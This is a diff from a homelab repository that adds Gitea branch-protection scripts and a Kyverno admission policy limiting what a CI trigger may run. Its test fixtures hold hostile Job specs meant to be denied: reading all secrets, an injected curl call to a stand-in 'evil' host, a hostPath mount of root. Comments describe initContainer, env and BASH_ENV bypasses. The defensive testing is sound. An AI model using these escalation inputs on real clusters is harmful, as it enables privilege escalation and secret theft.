creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
B="https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main"
echo "==> before: block_admin_merge_override = $(api "$B" | jq -r .block_admin_merge_override)"
api -X PATCH -H 'Content-Type: application/json' \
-d '{"block_admin_merge_override": true}' "$B" >/dev/null
AFTER=$(api "$B" | jq -r .block_admin_merge_override)
echo "==> after: block_admin_merge_override = $AFTER"
[ "$AFTER" = true ] || { echo "PATCH did not take -- do not record this as enforced." >&2; exit 1; }
api "$B" | jq -r '{enable_push,enable_status_check,status_check_contexts,required_approvals,block_admin_merge_override}'
cat <<'NOTE'
NOW PROVE IT -- the setting is not the evidence. On the next PR:
* let the gate go green, then try to merge WITHOUT approving it.
* Gitea must REFUSE. If it merges, this still is not doing its job.
Do not record approvals as enforced until you have seen a merge refused.
NOTE
@@ -0,0 +1,20 @@
{
"_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
"_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
"branch": "main",
"runners_online_min": 1,
"protection": {
"enable_push": false,
"enable_push_whitelist": false,
"enable_merge_whitelist": false,
"enable_status_check": true,
"status_check_contexts": [
"gate / gate (pull_request)"
],
"required_approvals": 1,
"enable_approvals_whitelist": false,
"block_admin_merge_override": true,
"block_on_rejected_reviews": true,
"dismiss_stale_approvals": true
}
}
+11 -1
View File
@@ -12,6 +12,15 @@
# * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
# SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
# ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
# lets repo admins override merge requirements without it, so required_approvals and the
# required status check are both bypassable by exactly the account that does the merging.
# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
#
# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
# instead of probing names you assume exist. That mistake cost a wasted PATCH.
#
# * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
# PR would never produce that context.
set -euo pipefail
@@ -28,7 +37,8 @@ jq -n '{
required_approvals: 1,
block_on_rejected_reviews: true,
dismiss_stale_approvals: true,
block_on_outdated_branch: false
block_on_outdated_branch: false,
block_admin_merge_override: true
}' | api -X PATCH -H 'Content-Type: application/json' --data @- \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
+56
View File
@@ -0,0 +1,56 @@
#!/usr/bin/env bash
# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
#
# The token value is NEVER printed. It goes from the token API into the secrets API and
# nowhere else -- not to stdout, not to a file, not into an agent transcript.
#
# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
# runner list). Gitea token scopes are coarse; grant the least that works on your version and
# confirm the check goes green rather than assuming the scope name.
set -euo pipefail
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
SECRET=SETTINGS_API_TOKEN
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
echo "==> minting token '${NAME}' as ${U}"
TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
-d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
"https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
echo "==> got a ${#TOKEN}-character token (value not shown)"
echo "==> storing it as repo Actions secret ${SECRET}"
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
unset TOKEN
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
echo " PUT failed: HTTP ${code} -- $(head -c 200 /tmp/set-ci-token.out)" >&2
rm -f /tmp/set-ci-token.out; exit 1
fi
rm -f /tmp/set-ci-token.out
# VERIFY BY READING IT BACK. curl -sS exits 0 on an HTTP error, so without this the script
# reports success for a store that never happened -- which is exactly what it did.
names="$(basic "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets" \
| jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
grep -q "$SECRET" <<<"$names" \
|| { echo " stored HTTP ${code} but ${SECRET} is NOT in ${names} -- refusing to claim success" >&2; exit 1; }
echo "==> stored and VERIFIED present: ${names}"
cat <<'NOTE'
Next:
1. .gitea/workflows/gate.yml already passes this secret to the gate step.
2. Open any PR and confirm the gate prints "gitea-settings: green" -- it SKIPS silently
without the token, so a green run is the only proof the wiring works.
3. THEN set REQUIRE_GITEA_SETTINGS=true in gate.yml, so a future missing token BLOCKS
instead of skipping. Do that only after you have seen it green, or you lock the repo.
NOTE
+8
View File
@@ -34,6 +34,14 @@ resources:
# policies, the next import is blocked in the gap.
- ../platform/kyverno/policies/label-cdi-worker-pods.yaml
- ../platform/kyverno/admission/secret-provenance.yaml
# R-SEC-02 — bounds what the conformance CI trigger may create. MUST be listed HERE: this
# Kustomization is what actually applies ClusterPolicies. Adding a policy only to
# platform/kyverno/admission/kustomization.yaml is a SILENT NO-OP — that file is reference
# only ("kept as reference; THIS file is the buildable render root" in
# platform/kyverno/kustomization.yaml, which itself ships only the namespace + HelmRelease).
# That is exactly how this policy shipped green and never reached the cluster on 2026-09-29,
# leaving the conformance-trigger identity live with nothing bounding it.
- ../platform/kyverno/admission/conformance-trigger-job-shape.yaml
# cilium: L2 LB IP pool + announcement policy (cilium.io CRDs already registered by Cilium)
- cilium/l2-ip-pool.yaml
- cilium/l2-announcement-policy.yaml
@@ -0,0 +1,377 @@
# Serves: R-SEC-02 (CI holds no broad cluster access)
#
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
#
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
# privileged identity unless something constrains the SHAPE of what it may create.
#
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
# committed conformance run and deny everything else. The operator chose this model
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
# GitOps-native alternative.
#
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
#
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
#
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
# enforceable half: the image must live under the conformance repository path AND be
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
# PR, which is exactly where a change to the security boundary belongs.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: conformance-trigger-job-shape
annotations:
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
policies.kyverno.io/category: Supply chain
policies.kyverno.io/severity: critical
homelab.keithjackson.dev/requirements: R-SEC-02
homelab.keithjackson.dev/scope: admission-only
spec:
validationFailureAction: Enforce
failurePolicy: Fail
background: false
rules:
- name: trigger-may-create-only-the-committed-conformance-run
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger may create ONLY the committed conformance run: a single container,
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
and only the `workspace` and `results` volumes. See
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
pattern:
spec:
template:
spec:
serviceAccountName: conformance-runner
=(hostNetwork): "false"
=(hostPID): "false"
=(hostIPC): "false"
containers:
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
command:
- "./run.sh"
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
=(privileged): "false"
- name: trigger-volumes-must-be-workspace-or-results
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
# asserts EVERY volume is one of the two allowed names.
foreach:
- list: "request.object.spec.template.spec.volumes"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value: ["workspace", "results"]
- name: trigger-args-must-be-the-committed-flags
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Job args may contain only the conformance run's own flags
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
Anything else — a shell, a path, a redirect — is denied.
foreach:
- list: "request.object.spec.template.spec.containers[0].args"
deny:
conditions:
all:
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
operator: Equals
value: false
# =========================================================================================
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
#
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
# executing an arbitrary command, because Kubernetes places no `use` check on
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
#
# a Job with serviceAccountName conformance-runner and an initContainer
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
#
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
#
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
# needed — the suite has to be cloned at the commit under test. But while the clone logic
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
# the committed script from an attacker's: both are just `args` on a shell. So the clone
# logic moved into the runner image at a fixed path
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
# rule pins `command` to that path with NO args. An admitted init container therefore
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
# itself validates against ^[0-9a-f]{40}$.
#
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
# element matches", which would admit the committed clone step PLUS an arbitrary second
# init container — the same class of hole rule 2's comment describes for volumes.
# =========================================================================================
- name: trigger-initcontainers-must-be-the-committed-clone-step
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
# As two separate `all` entries it is a schema error ("match resources not specified")
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
committed clone step: the digest-pinned conformance-runner image,
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
escalation, not privileged. An initContainer running a shell with a caller-supplied
script is arbitrary code execution as the privileged conformance-runner SA — the
escalation the rest of this policy exists to prevent. See
conformance/incluster/conformance-clone.
foreach:
- list: "request.object.spec.template.spec.initContainers"
deny:
conditions:
any:
# At most one. The committed run needs exactly one clone step; a second
# init container has no legitimate purpose and is how you smuggle one in.
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
operator: GreaterThan
value: 1
# Digest-pinned under the conformance repository path — same rule as
# containers[0], same honest limit (see IMAGE PINNING in the header).
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
operator: Equals
value: false
# The baked-in entrypoint, exactly — not a shell, not a second path.
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
operator: NotEquals
value: "/usr/local/bin/conformance-clone"
# NO ARGS. This is the whole point: args on an init container are
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
- key: "{{ length(not_null(element.args, `[]`)) }}"
operator: GreaterThan
value: 0
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
# the COMPLIANT value false into true and deny every good Job.
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
operator: NotEquals
value: true
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
operator: NotEquals
value: false
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
operator: NotEquals
value: false
# =========================================================================================
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
# container list on a PodSpec, and it was as unread as `initContainers` was.
#
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
# when the field is absent, and removes the need to be right about it. If the API server
# does reject it, nothing changes; if it does not, this is the same hole again.
# =========================================================================================
- name: trigger-may-not-declare-ephemeral-containers
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not declare ephemeralContainers. The committed
conformance run has no use for one, and an ephemeral container is a third container
list running as the privileged conformance-runner SA with an arbitrary command.
deny:
conditions:
all:
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
operator: GreaterThan
value: 0
# =========================================================================================
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
#
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
# environment variable on either container.
#
# That is not hypothetical. Both programs the Job runs read their environment:
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
# image (it dies on a mismatch rather than honouring a redirect — which is why the
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
# already closed there, in the image, not here);
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
# thing standing between a caller-chosen env var and the privileged SA.
#
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
# name is what a program keys its behaviour on.
# =========================================================================================
- name: trigger-env-names-must-be-the-committed-set
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may set only the committed environment variables. The runner
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
conformance-runner SA. Widening this list is a reviewed one-line change.
foreach:
- list: "request.object.spec.template.spec.containers[0].env"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONF_ARTIFACTS
- CONF_EMIT_ARTIFACTS_TGZ
- TMPDIR
- HOME
# Flattened across init containers: the rule above already caps them at one, but this
# must not silently stop checking if that cap is ever relaxed.
- list: "request.object.spec.template.spec.initContainers[].env[]"
deny:
conditions:
all:
- key: "{{ element.name }}"
operator: AnyNotIn
value:
- CONFORMANCE_GIT_SHA
- CONFORMANCE_REPO_URL
- CONFORMANCE_SRC
- GITEA_USERNAME
- GITEA_TOKEN
- TMPDIR
- HOME
- name: trigger-may-not-use-envfrom
# resources AND subjects in the SAME filter entry — see the note on the rules above.
match:
all:
- resources:
kinds:
- Job
namespaces:
- conformance
subjects:
- kind: ServiceAccount
name: conformance-trigger
namespace: conformance
validate:
message: >-
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
as environment variables, whose KEYS are not visible in the Job at all — which would
make the env-name allowlist above unenforceable by inspection.
deny:
conditions:
any:
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
operator: GreaterThan
value: 0
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
operator: GreaterThan
value: 0
@@ -20,3 +20,7 @@ resources:
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
- secret-provenance.yaml
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
- conformance-trigger-job-shape.yaml
@@ -0,0 +1,120 @@
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
#
# Each DENY case below is a real escalation path, not a style violation. The one that matters
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
# this policy.
#
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
# never fires and every case trivially passes — a test that proves nothing.
apiVersion: cli.kyverno.io/v1alpha1
kind: Test
metadata:
name: conformance-trigger-job-shape
policies:
- ../../admission/conformance-trigger-job-shape.yaml
resources:
- resources.yaml
userinfo: user-info.yaml
results:
# ---- the committed run is ADMITTED ----
# `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it:
# init container + env-from-secretKeyRef credential + the two allowed volumes. It is here
# so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at
# 2am against the live cluster. `good-run` remains the minimal shape.
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [good-run, real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [good-run, real-template]
result: pass
# `real-template` is the only fixture WITH an init container, so it is the only one this
# rule reports on — a foreach over an absent list yields no result at all, which is why
# `good-run` is not listed here.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [good-run, real-template]
result: pass
# Only `real-template` sets env, so it is the only fixture this rule reports a pass on.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [real-template]
result: pass
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [good-run, real-template]
result: pass
# ---- THE escalation: runner SA + arbitrary command ----
- policy: conformance-trigger-job-shape
rule: trigger-may-create-only-the-committed-conformance-run
kind: Job
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
result: fail
# ---- an extra volume is the way out of a constrained pod ----
- policy: conformance-trigger-job-shape
rule: trigger-volumes-must-be-workspace-or-results
kind: Job
resources: [extra-volume]
result: fail
# ---- args beyond the committed flags ----
- policy: conformance-trigger-job-shape
rule: trigger-args-must-be-the-committed-flags
kind: Job
resources: [injected-args]
result: fail
# ---- THE SAME ESCALATION VIA `initContainers`, which the three rules above all miss ----
# Each of these has a fully compliant `containers[0]` and was ADMITTED (pass 3, fail 0)
# before `trigger-initcontainers-must-be-the-committed-clone-step` existed. `evil-initcontainer`
# is the coordinator's independent reproduction; keeping it here is what stops the hole
# reopening.
- policy: conformance-trigger-job-shape
rule: trigger-initcontainers-must-be-the-committed-clone-step
kind: Job
resources: [evil-initcontainer, initcontainer-with-args, second-initcontainer]
result: fail
# ---- and via the third container list nobody was reading ----
- policy: conformance-trigger-job-shape
rule: trigger-may-not-declare-ephemeral-containers
kind: Job
resources: [evil-ephemeral-container]
result: fail
# ---- and via `env`, the same mistake a third time ----
# `command` is pinned, so the injection moves to a variable the pinned command honours.
# BASH_ENV is sourced by bash before a non-interactive script, so it alone is arbitrary code
# execution as conformance-runner. Note `injected-initcontainer-env` PASSES the initContainer
# rule — its container shape is perfect and only its env is hostile, which is exactly why the
# env rule has to exist separately.
- policy: conformance-trigger-job-shape
rule: trigger-env-names-must-be-the-committed-set
kind: Job
resources: [injected-env, injected-initcontainer-env]
result: fail
- policy: conformance-trigger-job-shape
rule: trigger-may-not-use-envfrom
kind: Job
resources: [envfrom-whole-secret]
result: fail
@@ -0,0 +1,464 @@
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
# `results` are the only two volume names admission allows. Must be ADMITTED.
#
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
# securityContext, and the presence of the init container) in step with it.
#
# The init container carries NO args: its logic is baked into the runner image at
# /usr/local/bin/conformance-clone (source: conformance/incluster/conformance-clone).
# That is what makes `trigger-initcontainers-must-be-the-committed-clone-step` enforceable —
# see `evil-initcontainer` below for the escalation it closes.
apiVersion: batch/v1
kind: Job
metadata:
name: real-template
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
securityContext:
runAsNonRoot: true
runAsUser: 65532
fsGroup: 65532
initContainers:
- name: clone-suite-at-commit
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/usr/local/bin/conformance-clone"]
env:
- name: CONFORMANCE_GIT_SHA
value: "0123456789abcdef0123456789abcdef01234567"
# BY SECRET NAME ONLY — and as env, not as a volume.
- name: GITEA_USERNAME
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: username }
- name: GITEA_TOKEN
valueFrom:
secretKeyRef: { name: conformance-git-readonly, key: token }
volumeMounts:
- { name: workspace, mountPath: /workspace }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
containers:
- name: chainsaw
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
workingDir: /workspace/src/conformance
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
env:
- name: CONF_ARTIFACTS
value: /results
- name: CONF_EMIT_ARTIFACTS_TGZ
value: "1"
volumeMounts:
- { name: workspace, mountPath: /workspace }
- { name: results, mountPath: /results }
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# The minimal committed shape — must be ADMITTED.
apiVersion: batch/v1
kind: Job
metadata:
name: good-run
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: results
emptyDir: {}
---
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-command
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# An arbitrary image running as the privileged SA. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: evil-image
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: docker.io/library/alpine:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: tag-not-digest
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# Host namespaces + privilege escalation. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: host-namespaces
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
hostPID: true
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: false
allowPrivilegeEscalation: true
volumes:
- name: workspace
emptyDir: {}
---
# An extra volume — the way out of a constrained pod. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: extra-volume
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
- name: hostroot
hostPath:
path: /
---
# Injected args beyond the committed flags. Must be DENIED.
apiVersion: batch/v1
kind: Job
metadata:
name: injected-args
namespace: conformance
spec:
template:
spec:
serviceAccountName: conformance-runner
containers:
- name: runner
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
command: ["./run.sh"]
args: ["--layer", "l2", ";", "curl", "http://evil/"]
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
volumes:
- name: workspace
emptyDir: {}
---
# THE SECOND ESCALATION, and the one the first three rules missed entirely (2026-09-29): a
# fully compliant `containers[0]` beside a PRIVILEGED, arbitrary-image, arbitrary-command
# INIT container running as the privileged conformance-runner SA. Before
